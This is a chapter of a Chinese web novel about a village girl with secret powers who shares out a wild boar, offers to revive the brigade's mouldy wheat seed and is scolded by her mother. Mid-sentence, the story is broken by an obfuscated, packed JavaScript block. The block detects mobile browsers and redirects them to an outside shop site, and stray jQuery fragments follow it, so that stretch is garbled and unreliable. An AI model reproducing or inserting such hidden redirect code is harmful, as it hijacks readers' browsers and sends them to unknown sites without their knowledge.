“苏禾，一会儿我做主给你分上十斤肉，猪头也给你，猪下水你随便挑两样。”大队长蹲着，和旁边两个人一块看大李杀猪。


    这都是不成文的默契，逮的人能多分点肉，杀猪的人能额外分些猪下水，猪头这种又重又没油水的，其他人也不愿意要，倒不如送给苏禾，让她没那么吃亏。


    苏禾无所谓地点头，“行。”


    早就知道保不住完整的一头野猪，现在的分配则是最好的结果，她到是没失望，反正堂伯不会让自己吃亏。


    苏向南蹲在一旁羡慕的泪水从嘴角流下来，又是肉，又是猪头，虽然猪下水味大，但起码也是肉啊。


    好多肉啊！


    真想自己也能逮头猪。


    苏禾眼睛直勾勾盯着大李杀猪的动作，这还是她头一次见，这年头杀猪也是个吃香的活，要不她试着学一学？


    “堂伯，大李叔这杀猪的技术教不教外人啊？”


    大队长狐疑地看她一眼，“你问这干啥？”她不会想学吧！上下打量一番，胳膊细的还没竹竿粗，能按动猪？别猪没按住，反被撞折了。


    苏禾笑了笑，“我就问问。”万一人家传子不传外人，她就是想学也没办法。


    “大李这杀猪手艺是从他爹手里学的，他爹是花了钱，找了七拐八拐的关系从一个老屠户那学的。”


    大队长腿蹲麻了，挪挪脚找了块石头坐下，又接着说。


    “咱们附近几个大队只有他会这手艺，人家靠这个吃饭，别说外人了，就是他亲兄弟的儿子，人家也不教。”


    大队长真怕苏禾呆头呆脑地去学杀猪，也不是他看不起这活儿，相反他恨不得自己这个傻儿子去学。苏禾可是他们大队仅有几个考上高中的人，毕业后就有机会留在县城吃商品粮，当工人可比当屠户好！


    “这样啊，”说不上难过，苏禾又不能拿着刀抵在人家脖子上让人答应，算啦，大不了多跑几趟山，野鸡炖蘑菇既香又好吃。


    说起这个，大队长想起苏禾正在上高中，也不知道学校教不教种地。他都快愁死了，这事儿要是解决不了，明年大队估计要闹饥荒。他吃挂落没事，甚至不当大队长也行，可饿死人咋办哟！


    “苏禾，学校老师教不教地里头的知识啊？”


    苏禾：！？


    种地吗？


    她应该回答“是”还是“不是”呢？


    学校不教啊，但她现在有异能，只要不是太离谱的都能解决。


    看大队长一脸忧愁，额头的皱纹都能夹死蚊子，恐怕是什么要紧的事儿。


    唉，看在猪头的面子上，帮帮他算了。


    “发生什么事了，”简单的她还能糊弄，不然她也无能为力。


    大队长紧皱眉头，“眼瞅着稻子收完，马上就要种麦子了，可咱们大队留下的麦种，有一大半发霉了，虽然我及时拿出去晒了，但剩下的麦种不够种啊！”


    “堂伯，咋不去买呢？”麦种没了就去买啊，她记得供销社会卖良种，公社还专门下发通知鼓励各个大队种植良种，良种比自己留的种子产量高。


    大队长叹气，“没钱啊。”


    知道良种好，可难就难在钱上面。


    农村没啥来钱的手段，每年大队养的几头猪，卖了钱以工分的形式给了队员们。更别说问他们借钱，要知道最便宜的良种都得要一块八一斤，而一斤小麦的收购价却在一毛五。大队这么多田地，买种子对他们来讲就是一笔天价。


    所以发霉的种子能救回来最好，实在不行大队长准备腆着脸去其他大队借一点，剩下的只能筹钱买了。


    “苏禾，你有啥子办法吗？”大队长捂住脸，“唉，我们这些老家伙只是粗粗识得几个字，没啥大文化，咱们队属你文化高，你就想想法子，不然明年没粮食可咋过啊。”


    种子发霉，不外乎受潮了，可现在人人都知道粮食的重要性，没见地里掉的稻穗还有小孩顶着太阳捡，这事不科学，不会是有人见不得好，故意的吧！


    苏禾阴谋论。


    “堂伯，之前种子都好好的，今年咋就发霉了呢？”


    “是这样的，放种子的仓库是以前地主住的青砖瓦房，这么多年安安稳稳地没事，大家就忘了检查房顶的瓦片。”


    “时间久了房顶的瓦片碎了一些，雨水顺着缝隙流进来，靠着墙的种子全霉了，就余外面一点好的。”


    啊！


    真是天灾不是人祸啊。


    虽然苏禾已经做好吃不好的心理准备，但她万万没想到如今面对的是吃不饱！


    不好吃和没得吃，两者相比之下填饱肚子更重要。


    “堂伯，你要不给我一点发霉的种子，我试试看能不能救回来。”希望种子还没死透，只要有一丝生机，苏禾都有把握救活。


    “行，一会儿分完猪肉，我给你送去。”


    种子都这样了，也不差给苏禾的这一包。


    即使不知道最后的结果，但最少现在有了一点希望，大队长的压力稍微放下一些。


    就在此时，稻场中央的猪刮完毛剔好了，一块块整齐地摆在案板上。底下站着乌泱泱一群人，有的拿着瓷盆，有的拿着竹篮。


    大李举着刀，站在案板前问：“大队长，肉弄好了，咋分呀？”


    “我马上来！”大队长起身离开，临走时不忘带上苏禾，“你跟我来，先把你的那份分了，赶紧回去中午还能吃上！”


    苏禾跟在大队长身后，密密麻麻的人群里她一眼发现万佩兰的身影。


    只见万佩兰提着筐子，费劲地在人群里挤来挤去，终于站在最前排。抬眼一瞧，自己的女儿就落后大队长一步。万佩兰瞪大眼睛，目光不可思议地跟随她的身影。


    谣言成真了！


    万佩兰第一反应不是欣喜自家有肉吃了，而是担心女儿有没有受伤。


    那可是野猪啊！


    只有猎枪能打死，一般三五个成年男性碰见也是条件反射地逃跑。


    她女儿真是虎啊！


    遇事不跑，还专门上前去看看。


    看回去不狠狠说她一顿！


    苏禾莫名感觉后背发凉，异能运转一圈，却什么也没发现。相反，吸收人参后，她的体质还增强了，一些小感冒她都能避免。


    大队长往


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208212|151050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前走站在中间，大声喊：“大家伙儿们！今天我们都借苏禾的光，也能尝尝肉味！没有苏禾，这肉烂在山上我们也不知道。按照规矩，这肉应该多分她一点，你们有意见吗？”


    底下的人眼冒红光，稀稀拉拉回应，“没有！我们没意见！”马上要到嘴的猪肉已经占据他们全部心神。


    个别有小心思完全不成气候，也不敢在这时候说三道四。耽搁人吃肉，犹如杀人之父母，怕是话没说出口，拳头已经落在脸上了。


    “这头猪去掉猪下水和给苏禾的部分，余下的还剩二百四十五斤，分给男女知青各一斤，我们大队有二百三十一户人，要纯肉的拿一斤，要带骨头的就多一点，先后顺序按工分排队，记分员从旁协助。”


    大队长三下五除二分配完后，唤苏禾上前来，“猪头你直接拿回家，你看那十斤肉想拿什么部位，猪下水你就拿猪心和猪肚。”


    苏禾打量一番，心里有了想法。


    猪心和猪肚都算肉多好吃的地方，大队长真是一心一意为她着想，半点没忽悠她。猪肉她打算要一点肥瘦相间的五花肉，用来做红烧肉吃，剩下的要些前腿肉，肥的来炼油，瘦的来炒菜，再要一个猪蹄。


    一个猪身上本就没多少肉，苏禾不能把好肉都拿回家，适当选择一点差的，既不会引起公愤，又能留下一个好印象。


    她能做到不在乎其他人的看法，可要为苏父苏母考虑，他们一大把年纪，脱离不了人群。


    “大队长，猪下水就听你的，猪肉我要两块五花肉，剩下给我拿前腿肉和一只猪蹄。”


    “行，大李你给她拿，挑好的拿。”


    “唉，”大李站在旁边听到了，不用大队长开口，已经把她想要的拣出来了。


    苏禾看了一眼，都是挑里面最好的拿的。下面的人闹哄哄的，时不时传来记分员的吼声，苏禾不想站在前面当靶子，连忙招呼万佩兰过来，把肉装好，提着猪头赶紧离开。


    远离吵闹后还没缓口气，万佩兰的发难来了。


    “禾禾，你胆子咋那么大，碰见野猪也敢上去瞧瞧！”


    苏禾脚步顿了一下，赶忙解释，就怕自己晚说一句被判了死刑，她还想再去上山转悠转悠。


    “娘，我聪明着呢！”


    “我看地上一大片血，用棍子戳了戳，野猪没动弹我才敢过去瞧瞧。”


    嗯，实际上是她把野猪从坡上扔下来，直接摔死了。


    要不然一头活着的野猪，她没办法解释。


    “还聪明！我看你就是个傻的！”万佩兰气得上气不接下气。


    “我说不过你，回去让你爹来收拾你！”


    “娘，家里的好东西都紧着我吃，我也想让你和爹吃点好的。”这些话不是苏禾为了逃避责骂故意说的，而是她内心真实想法。


    万佩兰和苏爱军承包家里所有累活重活，他们需要吃点东西补补。


    万佩兰偷偷擦掉眼角的泪水，女儿的孝心没错，但这种事不可取。比起那一嘴吃的，她更在乎苏禾的安全。


    这顿骂苏禾躲不掉，万佩兰只能争取在苏爱军骂得太狠时，稍微拦一拦。